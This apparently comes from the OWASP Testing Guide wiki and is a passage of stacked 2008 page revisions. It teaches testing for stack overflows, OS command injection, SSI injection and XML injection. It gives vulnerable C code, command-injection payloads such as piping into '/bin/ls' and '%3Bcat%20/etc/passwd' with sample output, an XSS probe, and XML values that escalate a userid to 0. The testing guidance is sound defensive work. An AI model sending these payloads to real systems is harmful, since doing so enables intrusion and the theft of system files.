On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:

<pre>
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf("copying into buffer");
strcpy(buff,argv[1]);
return 0;
}
</pre>

File sample.exe is launched in a debugger, in our case OllyDbg.

[[image:stack overflow vulnerability.gif]]

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.

[[image:stack overflow vulnerability 2.gif]]

As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

== Gray Box testing and example ==

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

<pre>
void log_create(int severity, char *inpt) {

char b[1024];

if (severity == 1)
{
strcat(b,”Error occured on”);
strcat(b,":");
strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);

. . . . . .
}
</pre>

From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

<pre>
Void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
</pre>

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function:

<pre>
Void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,'\');
….
}
</pre>

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
* Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/issues.html?issue=49&id=14#article
* Tal Zeltzer: "Basic stack overflow exploitation on Win32" - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
* Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

Testing for Stack Overflow

2008-09-07T07:08:52Z

Namn: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.
 

== Description of the Issue ==
 
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:

<pre>
“Almost every platform, with the following notable exceptions:
J2EE – as long as native methods or system calls are not invoked
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “
can suffer from stack overflow issues.
</pre>

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.
 

== Black Box testing and example ==
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected.
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.

On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various, sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:

<pre>
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf("copying into buffer");
strcpy(buff,argv[1]);
return 0;
}
</pre>

File sample.exe is launched in a debugger, in our case OllyDbg.

[[image:stack overflow vulnerability.gif]]

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.

[[image:stack overflow vulnerability 2.gif]]

As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

== Gray Box testing and example ==

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

<pre>
void log_create(int severity, char *inpt) {

char b[1024];

if (severity == 1)
{
strcat(b,”Error occured on”);
strcat(b,":");
strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);

. . . . . .
}
</pre>

From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

<pre>
Void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
</pre>

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function:

<pre>
Void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,'\');
….
}
</pre>

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
* Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/issues.html?issue=49&id=14#article
* Tal Zeltzer: "Basic stack overflow exploitation on Win32" - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
* Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

Testing for Command Injection (OTG-INPVAL-013)

2008-09-07T06:48:25Z

Namn: /* Brief Summary */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
This article describes how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.

== Short Description of the Issue ==
OS command injection is a technique used via a web interface in order to execute OS commands on the web server. 

The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications. 

== Black Box testing and example ==
When viewing a file in a web application the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the filename.
 
Example URL before alteration: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki> 

Example URL modified: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki> 

This will execute the command “/bin/ls”. 
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.
 
Example: 
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki> 
 

'''Example''' 
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:
<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case, we have successfully performed an OS injection attack.

== Gray Box testing ==
Sanitization 
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed as well as undiscovered threats should be eliminated by this list. 
Permissions 
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view 

== References ==

'''White papers''' 
* http://www.securityfocus.com/infocus/1709 

'''Tools''' 

* OWASP [[OWASP WebScarab Project |WebScarab]] 
* OWASP [[OWASP WebGoat Project|WebGoat]]
 

{{Category:OWASP Testing Project AoC}}

Testing for SSI Injection (OTG-INPVAL-009)

2008-09-07T05:44:35Z

Namn: /* Black Box testing */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''[[Server-Side Includes %28SSI%29 Injection|Server-Side Includes]]''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

== Description of the Issue ==

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands. 

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following: 

<pre>

</pre>

to print out the current time. 

<pre>

</pre>

to include the output of a CGI script. 

<pre>

</pre>

to include the content of a file. 

<pre>

</pre>

to include the output of a system command. 

Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands. 

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. 

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands. 

== Black Box testing ==

The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques. 

Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks. 

The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code. 
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged. 

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives: 

<pre>
< ! # = / . " - > and [a-zA-Z0-9]
</pre>

To test if validation is insufficient, we can input, for example, a string like the following in an input form: 

<pre>

</pre>

This is similar to testing for XSS vulnerabilities using 

<pre>
<script>alert("XSS")</script>
</pre>

If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file. 

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: 

<pre>
GET / HTTP/1.0
Referer: 
User-Agent: 
</pre>

== Gray Box testing and example ==

If we have access to the application source code, we can quite easily find out: 
# If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate. 
# Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined. 
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many types of encoding are taken into account. 

Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on). 

== References ==
'''Whitepapers''' 
* IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064 
* Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html 
* Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html 
* Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi 
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt 
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html

'''Tools''' 
* Web Proxy Burp Suite - http://portswigger.net
* Paros - http://www.parosproxy.org/index.shtml
* [[OWASP WebScarab Project|WebScarab]]
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-09-07T05:36:04Z

Namn: /* Tag Injection */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. 

== Short Description of the Issue ==
In this section, a practical example of XML Injection will be looked at: first, an XML style communication will be defined, and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters will be examined.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same meaning as single quote and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parentheses: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com</nowiki>'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 
* Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714

Testing for XML Injection (OTG-INPVAL-008)

2008-09-07T05:29:30Z

Namn: /* Discovery */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. 

== Short Description of the Issue ==
In this section, a practical example of XML Injection will be looked at: first, an XML style communication will be defined, and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters will be examined.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same meaning as single quote and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parentheses: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 
* Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714

Testing for XML Injection (OTG-INPVAL-008)

2008-09-07T05:14:19Z

Namn: /* Short Description of the Issue */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. 

== Short Description of the Issue ==
In this section, a practical example of XML Injection will be looked at: first, an XML style communication will be defined, and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters will be examined.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
